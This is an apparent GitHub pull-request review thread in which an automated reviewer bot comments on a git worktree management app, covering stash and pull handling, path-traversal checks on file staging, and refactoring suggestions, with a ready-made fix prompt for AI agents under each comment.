Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/worktree-panel/worktree-panel.tsx` around lines 554 - 600, When exactly one remote is returned, don't call handlePull(handlePush) without the remote name — extract the sole remote (from result.result.remotes[0].name) and call handlePull(worktree, remoteName) / handlePush(worktree, remoteName) instead of the current fallback; update handlePullWithRemoteSelection and handlePushWithRemoteSelection to pass that remote for the single-remote branch (keep the existing setSelectRemote* logic for multiple remotes and the catch fallback unchanged). Ensure the referenced functions handlePull and handlePush accept the optional remote argument or add an overload/parameter to consume the remote name you pass.
apps/ui/src/components/views/project-settings-view/worktree-preferences-section.tsx
Outdated
Show resolved
Hide resolved
apps/ui/src/components/views/project-settings-view/worktree-preferences-section.tsx
Outdated
Show resolved
Hide resolved
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
There was a problem hiding this comment.
Actionable comments posted: 4
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@apps/server/src/routes/worktree/routes/discard-changes.ts`:
- Line 92: The isSelectiveDiscard flag currently checks files && files.length >
0 && files.length < allFiles.length which treats an explicit list of all changed
files as a "discard all" case; change the condition to files && files.length > 0
so any explicit files array uses selective discard, ensuring per-path validation
(validateFilePath) and per-file metrics are executed; update the logic in the
discard-changes handler (isSelectiveDiscard, validateFilePath usage, and the
branch that returns per-file response metrics) so the discard-all branch is only
used when files is undefined/null, and make sure any code that relied on the
previous length comparison still behaves correctly when an explicit full list is
passed.
- Around line 31-37: The validateFilePath function currently only uses
path.resolve which doesn't follow symlinks; update validateFilePath to first
compute the lexical resolved path (as now) then attempt to call fs.realpathSync
(or fs.promises.realpath) on that resolved path to expand symlinks and compare
the real path prefix against the realpath of worktreePath (use
path.resolve(worktreePath) -> fs.realpathSync for worktree); if realpath
resolution fails because the target doesn't exist, fall back to the existing
lexical startsWith check; ensure you reference validateFilePath, resolved,
normalizedWorktree, and use fs.realpathSync (or async realpath) so symlinked
files inside the worktree that point outside are rejected.
- Around line 183-191: finalStatus is parsed from a repo-wide `git status` so
remainingCount currently counts all changed files, producing misleading
messages; instead, parse finalStatus.trim().split('\n') into a set of changed
paths (normalize paths the same way `allFiles`/requested paths are normalized),
then compute remainingCount as the number of requested paths (allFiles) that
still appear in that set; keep the existing actualDiscarded and message logic
but replace the repo-wide remainingCount with this selection-scoped count (refer
to symbols finalStatus, allFiles, remainingCount, actualDiscarded, message).
- Around line 109-135: The loop that classifies files in discard-changes is
misclassifying staged-new files (indexStatus === 'A'): change the classification
logic in the for-loop that iterates allFiles (using filesToDiscard,
trackedModified, stagedFiles, untrackedFiles) so that if indexStatus === 'A' you
push the path into untrackedFiles and skip further pushes for that file; keep
the existing stagedFiles push only for indexStatus !== ' ' && indexStatus !==
'?' && indexStatus !== 'A', and only push to trackedModified when workTreeStatus
indicates changes AND indexStatus !== 'A' (so AM becomes cleaned, not checked
out).
|
@coderabbitai review |
✅ Actions performedReview triggered.
|
There was a problem hiding this comment.
Actionable comments posted: 13
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
apps/server/src/providers/claude-provider.ts (2)
238-251:⚠️ Potential issue | 🟡 Minor
session_id: ''in the multi-part prompt message may cause silent SDK misbehavior.The
SDKUserMessagetype requiressession_id: stringas a non-optional field. Hardcoding an empty string is structurally valid TypeScript, but the SDK usessession_idfor conversation routing and session continuity — an empty string may silently cause incorrect session correlation or create a spurious new session instead of continuing the current one.If the SDK session ID is available at the point of prompt construction (e.g., from
sdkSessionIdinoptions), it should be forwarded here:🐛 Proposed fix
promptPayload = (async function* () { const multiPartPrompt = { type: 'user' as const, - session_id: '', + session_id: sdkSessionId ?? '', message: { role: 'user' as const, content: prompt, }, parent_tool_use_id: null, }; yield multiPartPrompt; })();🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/providers/claude-provider.ts` around lines 238 - 251, The multi-part prompt construction sets session_id: '' which can break SDK session routing; update the generated multiPartPrompt in promptPayload to use the real session id (e.g., the sdkSessionId from options or the existing sessionId variable used by the provider) instead of an empty string, and fall back to undefined/null only if no valid non-empty session id is available so SDKUserMessage receives a meaningful session_id for conversation continuity.
314-326:⚠️ Potential issue | 🟡 Minor
detectInstallation()authentication check is inconsistent with the expanded auth paths inbuildEnv().
authenticatedis derived solely from!!process.env.ANTHROPIC_API_KEY, butbuildEnv()now supports three additional auth paths: the credentials file (credentials?.apiKeys?.anthropic),ANTHROPIC_AUTH_TOKEN, and Claude Max CLI OAuth (no key required). Users authenticated via any of these will be incorrectly reported asauthenticated: false, which could surface a misleading "not authenticated" status in the UI.🐛 Proposed fix
async detectInstallation(): Promise<InstallationStatus> { - const hasApiKey = !!process.env.ANTHROPIC_API_KEY; + const hasApiKey = + !!process.env.ANTHROPIC_API_KEY || + !!process.env.ANTHROPIC_AUTH_TOKEN; + // Note: credentials-file and CLI OAuth auth cannot be checked synchronously here; + // treat hasApiKey as a best-effort signal only. const status: InstallationStatus = { installed: true, method: 'sdk', hasApiKey, authenticated: hasApiKey, }; return status; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/providers/claude-provider.ts` around lines 314 - 326, detectInstallation currently sets authenticated based only on process.env.ANTHROPIC_API_KEY, which is inconsistent with the expanded auth detection in buildEnv(); update detectInstallation (or delegate to buildEnv) to treat a user as authenticated if any of the supported paths are present: process.env.ANTHROPIC_API_KEY, process.env.ANTHROPIC_AUTH_TOKEN, credentials?.apiKeys?.anthropic (the credentials file path used elsewhere), or the Claude Max CLI OAuth indicator used by buildEnv (i.e., the same flag/indicator buildEnv sets for CLI OAuth). Ensure detectInstallation uses the same boolean logic/utility as buildEnv so all four auth methods report authenticated: true.
🧹 Nitpick comments (14)
apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx (1)
106-106: Dead comment —parseDiffimport is self-evident from line 32.-// parseDiff is imported from `@/lib/diff-utils` -🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx` at line 106, Remove the dead comment that states "// parseDiff is imported from `@/lib/diff-utils`" — it's redundant because the import for parseDiff is present (see the import of parseDiff near the top, line with the parseDiff symbol). Edit commit-worktree-dialog.tsx to delete that comment so the file only contains useful comments and no self-evident notes.apps/server/src/providers/claude-provider.ts (1)
8-19: Moveloggerinitialization after all import declarations.
const logger = createLogger('ClaudeProvider')at line 12 is interleaved between two import blocks. While imports are hoisted and there's no TDZ risk here, placing an executable statement betweenimportgroups is non-idiomatic and makes the module's initialization order harder to follow at a glance.♻️ Suggested reorder
import { query, type Options, type SDKUserMessage } from '@anthropic-ai/claude-agent-sdk'; import { BaseProvider } from './base-provider.js'; import { classifyError, getUserFriendlyErrorMessage, createLogger } from '@automaker/utils'; - -const logger = createLogger('ClaudeProvider'); import { getThinkingTokenBudget, validateBareModelId, type ClaudeApiProfile, type ClaudeCompatibleProvider, type Credentials, } from '@automaker/types'; import type { ExecuteOptions, ProviderMessage, InstallationStatus, ModelDefinition, } from './types.js'; + +const logger = createLogger('ClaudeProvider');🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/providers/claude-provider.ts` around lines 8 - 19, Move the executable logger initialization out of the middle of the import blocks: remove the interleaved line "const logger = createLogger('ClaudeProvider')" and place it after all import declarations (after the imports that include BaseProvider, createLogger, getThinkingTokenBudget, validateBareModelId, and the type imports). Ensure the symbol logger is created using createLogger('ClaudeProvider') only once and that all references in ClaudeProvider (e.g., within methods on the BaseProvider-derived class or helper functions) use this single, post-import logger variable.apps/server/src/routes/worktree/routes/stage-files.ts (1)
18-122: Business logic should be extracted to a service inservices/.The path canonicalization, traversal validation, and
execGitCommandcalls are all inlined inside the route handler factory. Per coding guidelines, route handlers inroutes/should delegate to services inservices/. Consider introducing astageFilesService(or extending an existing worktree service) and having the handler call it:+// services/stage-files-service.ts +export async function stageFiles(worktreePath: string, files: string[], operation: 'stage' | 'unstage') { ... } // route handler - // path validation + git execution inlined... + const result = await stageFiles(worktreePath, files, operation); + res.json({ success: true, result });As per coding guidelines: "Server business logic should be organized into services in the services/ directory, with Express route handlers in routes/ that delegate to services."
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/stage-files.ts` around lines 18 - 122, Extract the path canonicalization, path-traversal validation, and git invocation out of createStageFilesHandler into a new service (e.g., stageFilesService or add to worktreeService) that exposes a single async function like stageFiles(worktreePath: string, files: string[], operation: 'stage'|'unstage'): Promise<{operation:string, filesCount:number}>; move the realpath resolving, base/resolved checks, sanitization logic that currently lives in createStageFilesHandler and call execGitCommand(...) from inside that service (use the same sanitizedFiles array and same git args for 'add' and 'reset' cases); keep createStageFilesHandler minimal so it only validates the basic request shape, calls stageFilesService.stageFiles(...), and returns the service result or error, and export the new service function for use by other handlers.apps/server/src/services/worktree-branch-service.ts (1)
135-141: Docstring says "with timeout" but no timeout is enforced.
git fetch --allcan hang indefinitely on slow or unreliable networks. Given this PR adds mobile/PWA support where connectivity is unreliable, consider passing a process-level timeout (e.g., viaAbortSignal.timeout()or a wrapper) to bound the fetch duration.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/worktree-branch-service.ts` around lines 135 - 141, The fetchRemotes function currently calls execGitCommand(['fetch','--all','--quiet'], cwd) with no timeout; update fetchRemotes to enforce a process-level timeout (e.g., create an AbortSignal via AbortSignal.timeout(ms) or use the project's existing timeout wrapper) and pass that signal into execGitCommand (or its wrapper) so the fetch is aborted after the configured duration, then catch and handle the abort error specifically (distinguish it from other errors) while preserving the existing behavior of ignoring non-timeout fetch errors; reference the fetchRemotes function and the execGitCommand call when making the change.apps/server/src/services/auto-mode/facade.ts (2)
212-221:resolvedModel &&is always truthy — redundant guard
resolveModelStringalways returns a non-empty string (neverundefined,null, or""). TheresolvedModel &&part of the condition on lines 221 and 349 is therefore alwaystrueand can be dropped for clarity.♻️ Proposed simplification (apply in both runAgentFn closures)
- if (resolvedModel && settingsService) { + if (settingsService) {Also applies to: 339-349
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 212 - 221, The condition uses "resolvedModel && settingsService" but resolveModelString(model, ...) always returns a non-empty string so "resolvedModel &&" is redundant; update both runAgentFn closures to remove the redundant guard and use "if (settingsService) { ... }" (or equivalent) where you currently reference resolvedModel in the condition, keeping the rest of the logic that uses resolvedModel, provider (ProviderFactory.getProviderForModel), effectiveBareModel (stripProviderPrefix), claudeCompatibleProvider and credentials unchanged.
199-274: DuplicatedrunAgentFnimplementation — extract a shared helperThe two
runAgentFnclosures (PipelineOrchestrator, lines 199–274; ExecutionService, lines 315–400) share identical logic: model resolution, provider/credential lookup,agentExecutor.executecall, andbuildTaskPrompt. The only structural difference is theoptstyping.♻️ Suggested refactor — extract a shared factory
+ // Shared helper to avoid duplicating model-resolution + agentExecutor wiring + const buildRunAgentFn = + (optsMapper: (opts: unknown) => Parameters<typeof agentExecutor.execute>[0]) => + async ( + workDir: string, + featureId: string, + prompt: string, + abortController: AbortController, + pPath: string, + imagePaths?: string[], + model?: string, + opts?: unknown + ) => { + const resolvedModel = resolveModelString(model, 'claude-sonnet-4-6'); + const provider = ProviderFactory.getProviderForModel(resolvedModel); + const effectiveBareModel = stripProviderPrefix(resolvedModel); + let claudeCompatibleProvider: import('@automaker/types').ClaudeCompatibleProvider | undefined; + let credentials: import('@automaker/types').Credentials | undefined; + if (settingsService) { + const providerResult = await getProviderByModelId(resolvedModel, settingsService, '[AutoModeFacade]'); + if (providerResult.provider) { + claudeCompatibleProvider = providerResult.provider; + credentials = providerResult.credentials; + } + } + const buildTaskPrompt = (task: ..., allTasks: ..., taskIndex: number, planContent: string, template: string, feedback?: string) => { + let taskPrompt = template + .replace(/\{\{taskName\}\}/g, task.description || `Task ${task.id}`) + .replace(/\{\{taskIndex\}\}/g, String(taskIndex + 1)) + .replace(/\{\{totalTasks\}\}/g, String(allTasks.length)) + .replace(/\{\{taskDescription\}\}/g, task.description || `Task ${task.id}`); + if (feedback) taskPrompt = taskPrompt.replace(/\{\{userFeedback\}\}/g, feedback); + return taskPrompt; + }; + await agentExecutor.execute( + { workDir, featureId, prompt, projectPath: pPath, abortController, imagePaths, + model: resolvedModel, provider, effectiveBareModel, credentials, + claudeCompatibleProvider, ...optsMapper(opts) }, + { waitForApproval: ..., saveFeatureSummary: ..., updateFeatureSummary: ..., buildTaskPrompt } + ); + };Also applies to: 315-400
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 199 - 274, Both PipelineOrchestrator and ExecutionService define identical runAgentFn closures (model resolution via resolveModelString/stripProviderPrefix, provider/credentials lookup via getProviderByModelId, calling agentExecutor.execute with the same payload, and the same buildTaskPrompt logic); extract this shared logic into a single helper/factory (e.g., createRunAgentFn or runAgentHelper) that accepts the differing minimal inputs (workDir, featureId, prompt, abortController, pPath, imagePaths, model, opts) plus injected collaborators (agentExecutor, settingsService, planApprovalService, featureStateManager) and returns/executes the agent run; replace both inline closures in PipelineOrchestrator and ExecutionService with calls to that helper, keeping opts typing flexible (union or generic) and preserving usage of resolveModelString, getProviderByModelId, stripProviderPrefix, and the buildTaskPrompt implementation.apps/ui/src/components/ui/git-diff-panel.tsx (2)
989-1016:getStagingStatecalled twice redundantly in the fallback render path.♻️ Proposed fix
- {stagingInProgress.has(file.path) ? ( - <Spinner size="sm" /> - ) : getStagingState(file) === 'staged' || - getStagingState(file) === 'partial' ? ( + {(() => { + const stagingState = getStagingState(file); + return stagingInProgress.has(file.path) ? ( + <Spinner size="sm" /> + ) : stagingState === 'staged' || stagingState === 'partial' ? (🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` around lines 989 - 1016, The JSX calls getStagingState(file) twice in the fallback branch, causing redundant computation; cache the result by calling const stagingState = getStagingState(file) (or similar) before the render decisions and then use stagingState === 'staged' || stagingState === 'partial' in the conditional that decides whether to show the Unstage or Stage Button; keep existing checks for stagingInProgress.has(file.path) and the onClick handlers handleUnstageFile(file.path) / handleStageFile(file.path) unchanged.
528-737: Extract a shared staging action helper to eliminate ~140 lines of duplication.
handleStageFile/handleUnstageFileare near-identical (~56 lines each), differing only in the action string and toast label.handleStageAll/handleUnstageAllduplicate the same pattern again. A single internal helper consolidates all four:♻️ Proposed refactor — unified
executeStagingAction- // Stage/unstage a single file - const handleStageFile = useCallback( - async (filePath: string) => { - // ... ~56 lines ... - }, - [worktreePath, projectPath, useWorktrees, enableStaging, loadDiffs] - ); - - // Unstage a single file - const handleUnstageFile = useCallback( - async (filePath: string) => { - // ... ~56 lines ... - }, - [worktreePath, projectPath, useWorktrees, enableStaging, loadDiffs] - ); - - const handleStageAll = useCallback(async () => { - // ... ~44 lines ... - }, [worktreePath, projectPath, useWorktrees, files, loadDiffs]); - - const handleUnstageAll = useCallback(async () => { - // ... ~44 lines ... - }, [worktreePath, projectPath, useWorktrees, files, loadDiffs]); + const executeStagingAction = useCallback( + async (filePaths: string[], action: 'stage' | 'unstage') => { + if (!worktreePath && !projectPath) return; + if (useWorktrees && !worktreePath) { + toast.error(`Failed to ${action} file(s)`, { + description: 'worktreePath required when useWorktrees is enabled', + }); + return; + } + setStagingInProgress((prev) => { + const next = new Set(prev); + filePaths.forEach((p) => next.add(p)); + return next; + }); + try { + const api = getElectronAPI(); + let result: { success: boolean; error?: string } | undefined; + if (useWorktrees && worktreePath) { + if (!api.worktree?.stageFiles) { + toast.error(`Failed to ${action} file(s)`, { description: 'Worktree stage API not available' }); + return; + } + result = await api.worktree.stageFiles(worktreePath, filePaths, action); + } else if (!useWorktrees) { + if (!api.git?.stageFiles) { + toast.error(`Failed to ${action} file(s)`, { description: 'Git stage API not available' }); + return; + } + result = await api.git.stageFiles(projectPath, filePaths, action); + } + if (!result) { + toast.error(`Failed to ${action} file(s)`, { description: 'Stage API not available' }); + return; + } + if (!result.success) { + toast.error(`Failed to ${action} file(s)`, { description: result.error }); + return; + } + await loadDiffs(); + toast.success( + filePaths.length === 1 ? `File ${action}d` : `All files ${action}d`, + filePaths.length === 1 ? { description: filePaths[0] } : undefined, + ); + } catch (err) { + toast.error(`Failed to ${action} file(s)`, { + description: err instanceof Error ? err.message : 'Unknown error', + }); + } finally { + setStagingInProgress((prev) => { + const next = new Set(prev); + filePaths.forEach((p) => next.delete(p)); + return next; + }); + } + }, + [worktreePath, projectPath, useWorktrees, loadDiffs], + ); + + const handleStageFile = useCallback((filePath: string) => executeStagingAction([filePath], 'stage'), [executeStagingAction]); + const handleUnstageFile = useCallback((filePath: string) => executeStagingAction([filePath], 'unstage'), [executeStagingAction]); + const handleStageAll = useCallback(() => { const p = files.map((f) => f.path); if (p.length) void executeStagingAction(p, 'stage'); }, [files, executeStagingAction]); + const handleUnstageAll = useCallback(() => { const p = files.map((f) => f.path); if (p.length) void executeStagingAction(p, 'unstage'); }, [files, executeStagingAction]);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` around lines 528 - 737, The handlers handleStageFile, handleUnstageFile, handleStageAll and handleUnstageAll repeat the same staging logic; extract a single async helper (e.g. executeStagingAction) that accepts (action: 'stage'|'unstage', paths: string[], successMessage: string, failurePrefix: string) and encapsulates: validation of worktreePath/projectPath, toggling stagingInProgress, selecting api.worktree.stageFiles vs api.git.stageFiles, error/toast handling, calling loadDiffs and clearing stagingInProgress in finally; then simplify handleStageFile/handleUnstageFile to call executeStagingAction(action, [filePath], 'File staged'/'File unstaged', 'Failed to stage/unstage file') and handleStageAll/handleUnstageAll to call it with allPaths and appropriate messages — keep the existing toast messages and error branches inside the helper and reuse the same result shape checks.apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx (2)
105-105: Remove stale inline comment.
parseDiffis already imported at line 31; this comment is redundant.🧹 Suggested fix
-// parseDiff is imported from `@/lib/diff-utils` - function DiffLine({🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx` at line 105, Remove the stale inline comment that says "// parseDiff is imported from `@/lib/diff-utils`" in discard-worktree-changes-dialog.tsx; locate the comment near the usage/imports around the parseDiff symbol (parseDiff import at line where parseDiff is declared) and delete that redundant comment so only the real import and usage of parseDiff remain.
116-135: Hoist static lookup maps outsideDiffLineto avoid per-call allocations.
bgClass,textClass, andprefixare constant; moving them to module scope eliminates three object allocations for every diff line rendered (potentially hundreds in a large diff).♻️ Suggested refactor
+const DIFF_BG: Record<string, string> = { + context: 'bg-transparent', + addition: 'bg-green-500/10', + deletion: 'bg-red-500/10', + header: 'bg-blue-500/10', +}; +const DIFF_TEXT: Record<string, string> = { + context: 'text-foreground-secondary', + addition: 'text-green-400', + deletion: 'text-red-400', + header: 'text-blue-400', +}; +const DIFF_PREFIX: Record<string, string> = { + context: ' ', + addition: '+', + deletion: '-', + header: '', +}; + function DiffLine({ type, content, lineNumber }: { ... }) { - const bgClass = { context: 'bg-transparent', addition: 'bg-green-500/10', deletion: 'bg-red-500/10', header: 'bg-blue-500/10' }; - const textClass = { context: 'text-foreground-secondary', addition: 'text-green-400', deletion: 'text-red-400', header: 'text-blue-400' }; - const prefix = { context: ' ', addition: '+', deletion: '-', header: '' }; + const bgClass = DIFF_BG; + const textClass = DIFF_TEXT; + const prefix = DIFF_PREFIX; ...🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx` around lines 116 - 135, bgClass, textClass, and prefix are defined inside the rendering scope (e.g., in the DiffLine component) causing per-render object allocations; move these three lookup maps to module scope as top-level consts (outside the DiffLine function/component) and keep their keys/names the same so existing references in DiffLine (bgClass, textClass, prefix) continue to work without modification, eliminating the per-call allocations.apps/server/src/services/merge-service.ts (1)
197-208: RedundantisValidBranchNameguard at line 198.
branchNameis already validated againstisValidBranchNameat line 71 and would have early-returned on failure. This second call at the deletion site will always betrue, so thelogger.warnpath is unreachable.♻️ Proposed simplification
- if (!isValidBranchName(branchName)) { - logger.warn(`Invalid branch name detected, skipping deletion: ${branchName}`); - } else { - try { - await execGitCommand(['branch', '-D', branchName], projectPath); - branchDeleted = true; - } catch { - logger.warn(`Failed to delete branch: ${branchName}`); - } - } + try { + await execGitCommand(['branch', '-D', branchName], projectPath); + branchDeleted = true; + } catch { + logger.warn(`Failed to delete branch: ${branchName}`); + }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/merge-service.ts` around lines 197 - 208, The second guard calling isValidBranchName at the branch deletion site is redundant because branchName was already validated earlier (line ~71) and code would have returned on invalid names; remove the inner isValidBranchName check and its unreachable logger.warn branch, keeping the else path that executes execGitCommand(['branch','-D', branchName], projectPath), sets branchDeleted = true, and preserves the try/catch that logs failures via logger.warn; update the block around execGitCommand, branchDeleted, and logger.warn accordingly so deletion runs for non-main/master branches without the redundant validation.apps/server/src/providers/codex-provider.ts (1)
885-888: Hardcoded model names in error tip will drift as the model lineup changes.`Some models (like gpt-5.3-codex) require a ChatGPT Pro/Plus subscription and OAuth login via 'codex login'. ` + `Try using a different model (e.g., gpt-5.1 or gpt-5.2), or authenticate with 'codex login' instead of an API key.`
gpt-5.3-codex,gpt-5.1, andgpt-5.2are inlined in a user-visible string. When OpenAI deprecates or renames these identifiers, the tip will mislead users. Consider referencing the dynamically available model list (CODEX_MODELS) or dropping the concrete names in favour of a documentation link.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/providers/codex-provider.ts` around lines 885 - 888, The user-visible tip assigned to enhancedError hardcodes model names (e.g., gpt-5.3-codex, gpt-5.1) which will drift; update the message in codex-provider.ts to avoid concrete model identifiers by either inserting a dynamic reference to the available list (CODEX_MODELS) or linking to documentation—refer to enhancedError and options.model when composing the message so it reads like: model '{options.model}' may not be available; suggest choosing from CODEX_MODELS or visiting the docs for current compatible models and mention using 'codex login' for OAuth instead of an API key.apps/server/src/services/pull-service.ts (2)
106-142:popStash/tryPopStashshould useexecGitCommandWithLockRetryfor consistency.
stashChangescorrectly usesexecGitCommandWithLockRetry, butpopStash(line 121) andtryPopStash(line 132) fall back to plainexecGitCommand. The precedingfetchRemotecall can leave a staleindex.lock, causing stash pop to throw a lock error that bypasses the recovery path—turning a recoverable situation into a data-loss risk for the user's stashed changes.♻️ Proposed fix
export async function popStash(worktreePath: string): Promise<string> { - return await execGitCommand(['stash', 'pop'], worktreePath); + return await execGitCommandWithLockRetry(['stash', 'pop'], worktreePath); }async function tryPopStash(worktreePath: string): Promise<boolean> { try { - await execGitCommand(['stash', 'pop'], worktreePath); + await execGitCommandWithLockRetry(['stash', 'pop'], worktreePath); return true; } catch (stashPopError) {🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/pull-service.ts` around lines 106 - 142, popStash and tryPopStash use execGitCommand but must use execGitCommandWithLockRetry to avoid failing on stale index.lock; update both functions so popStash returns await execGitCommandWithLockRetry(['stash', 'pop'], worktreePath) (keeping the same return value) and change the call inside tryPopStash to await execGitCommandWithLockRetry(['stash', 'pop'], worktreePath) so the retry/lock logic is used during stash reapplication while preserving the existing error handling and logging in tryPopStash.
294-299:stashRecoveryFailed || undefinedis an implicit field-omission pattern — consider making it explicit.
false || undefinedevaluates toundefined, which omits the field. While the intent is clear in isolation, the same pattern repeated at lines 297, 342, and 349 may confuse readers. An explicit spread or ternary is clearer:♻️ Proposed refactor (one example, repeated at 342 and 349)
- stashRecoveryFailed: stashRecoveryFailed || undefined, + ...(stashRecoveryFailed && { stashRecoveryFailed: true }),🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/pull-service.ts` around lines 294 - 299, The return objects in pull-service.ts use the implicit omission pattern "stashRecoveryFailed || undefined", which hides false values; replace each occurrence (the stashRecoveryFailed usage in the return that constructs the error response and the similar uses at the other return sites) with an explicit expression — e.g. use a ternary to set stashRecoveryFailed: stashRecoveryFailed ? stashRecoveryFailed : undefined or always include the boolean like stashRecoveryFailed: !!stashRecoveryFailed — update the return object(s) where stashRecoveryFailed is referenced so the field presence/absence is explicit and consistent.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@apps/server/src/routes/git/routes/stage-files.ts`:
- Around line 56-61: The current check using file.includes('..') rejects valid
names (e.g., "foo..bar"); replace this with a segment-level path-traversal
check: split the incoming "file" on path separators (both '/' and
platform-specific separators) and reject if any segment equals ".." (or is empty
when you want to disallow empty segments), or simply remove the redundant
includes check and rely on the existing path.resolve containment guard used
later; apply the same change to the worktree variant so both routes behave
consistently. Ensure you reference the "file" variable and the path.resolve
containment logic when locating where to update.
- Around line 44-45: The code computes base using path.resolve(projectPath)
which doesn't dereference symlinks or validate existence; update the logic to
call fs.promises.realpath(projectPath) (or fs.realpathSync if synchronous flow)
to produce a canonicalRoot, use path.resolve(canonicalRoot) + path.sep for base,
and pass canonicalRoot (or use it as the cwd argument) into execGitCommand and
the rest of the validation so startsWith(base) reliably prevents symlink
traversal and missing-paths surface as a 400 instead of a 500; ensure you handle
realpath errors and return a proper 400 for non-existent or unreadable
projectPath.
In `@apps/server/src/routes/worktree/routes/stage-files.ts`:
- Around line 35-41: The request body `files` needs runtime validation: update
the handler in stage-files.ts to first check Array.isArray(files) and return 400
if not an array, then iterate and verify each element is typeof "string" (and
non-empty) before proceeding to the for…of that calls path.isAbsolute and runs
git add; if any element fails, return 400 with a clear error. Apply the same
element-type and array checks to the second occurrence of this logic (the block
around the later handling between lines 69–100) so path.isAbsolute never
receives non-string inputs and invalid client input yields 400 instead of a 500.
- Around line 88-95: The path-traversal guard currently treats empty-string
entries as valid because path.resolve(canonicalRoot, "") === canonicalRoot;
update the per-element validation where each incoming file is checked (the loop
that computes resolved and pushes into sanitizedFiles) to explicitly reject
empty strings (e.g., require file.length > 0) before calling path.resolve and
the existing resolved !== canonicalRoot && !resolved.startsWith(base) check;
ensure the same non-empty check is added to the earlier type validation (the
check using f or similar) so empty entries are filtered out and an HTTP 400 is
returned for empty-path inputs instead of allowing them through to
sanitizedFiles or git add.
In `@apps/server/src/services/pull-service.ts`:
- Around line 301-320: The pull currently always runs execGitCommand(['pull',
targetRemote, branchName], ...) which ignores a branch's configured upstream;
change the logic around the pull call so that when the upstream/tracking ref
check (hasUpstreamOrRemoteBranch) indicates an upstream exists you call
execGitCommand(['pull'], worktreePath) to let Git use the configured tracking
ref, and only call execGitCommand(['pull', targetRemote, branchName],
worktreePath) when there is no upstream and you must pull from a specific
remote; update any variables used there (targetRemote, branchName,
execGitCommand) accordingly.
- Around line 228-270: The calls to getCurrentBranch and getLocalChanges inside
performPull are not wrapped in try/catch and can throw, breaking the PullResult
contract; wrap the await getCurrentBranch(worktreePath) and await
getLocalChanges(worktreePath) calls each in their own try/catch, and on error
return a PullResult with success: false and an error string (use
getErrorMessage(err) to format the message) so failures from getCurrentBranch
and getLocalChanges are reported consistently like the other failure paths.
- Around line 178-191: Duplicate getConflictFiles implementation should be moved
to the shared git-utils package and imported from there: create the function in
libs/git-utils/src (using execGitCommand) and export it from the
`@automaker/git-utils` package, remove the local copies in pull-service.ts and
rebase-service.ts, and update both files to import { getConflictFiles } from
'@automaker/git-utils'; ensure the exported function signature stays
Promise<string[]> and that execGitCommand dependency is available/imported
inside the git-utils module.
- Around line 392-458: reapplyStash contains dead conflict-detection in the try
path and incorrectly marks stashRestored true on conflicts; remove the
isStashConflict check inside the successful path (rely on popStash throwing on
non-zero exit), ensure the success return (after popStash resolves) keeps
stashRestored: true, and update the catch branch so that when
isStashConflict(errorOutput) is true you return hasConflicts: true with
stashRestored: false (the stash remains in the list); also keep the non-conflict
error handling in catch returning stashRestored: false and log the error; refer
to reapplyStash, popStash, isStashConflict, getConflictFiles, and stashRestored
in your changes.
In `@apps/server/src/services/worktree-branch-service.ts`:
- Around line 412-457: When checkout fails and neither a stash pop conflict nor
a pop failure occurred, emit the same switch:error event before re-throwing the
checkoutError so the service remains self-contained; locate the catch block in
worktree-branch-service.ts that catches checkoutError (the block that currently
does "throw checkoutError;"), build an error message with
getErrorMessage(checkoutError) and call events?.emit('switch:error', {
worktreePath, branchName, error: checkoutErrorMsg }) (matching the other error
paths), then re-throw checkoutError.
- Around line 146-153: parseRemoteBranch incorrectly uses lastIndexOf('/') which
treats the first slash-containing part as remote; change it to split on the
first slash so the remote is the segment before the first '/' and branch is
everything after it (e.g., "origin" and "feature/my-branch"). Update the
implementation in parseRemoteBranch (used where parsedRemote.branch is consumed)
to detect the first slash (or use a split with limit 2), return null if no slash
exists, and ensure the returned branch preserves any subsequent slashes.
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Around line 740-755: stagingSummary currently double-counts 'partial' files
which inflates the inline summary; update the useMemo that builds stagingSummary
to return three distinct counters { staged, partial, unstaged, total } (compute
partial when getStagingState(file) === 'partial' and only increment
staged/unstaged for fully staged/unstaged files), and keep a derived value (e.g.
stagedForButtons or compute on-demand) that still treats partial as both for the
existing button-enabled logic in the component; then update the UI rendering
code that reads stagingSummary to display either "(X staged, Y partial, Z
unstaged)" or cap staged/unstaged to total using the new fields so the inline
text no longer exceeds total files.
In `@apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx`:
- Around line 238-239: The outer catch in the commit dialog (surrounding
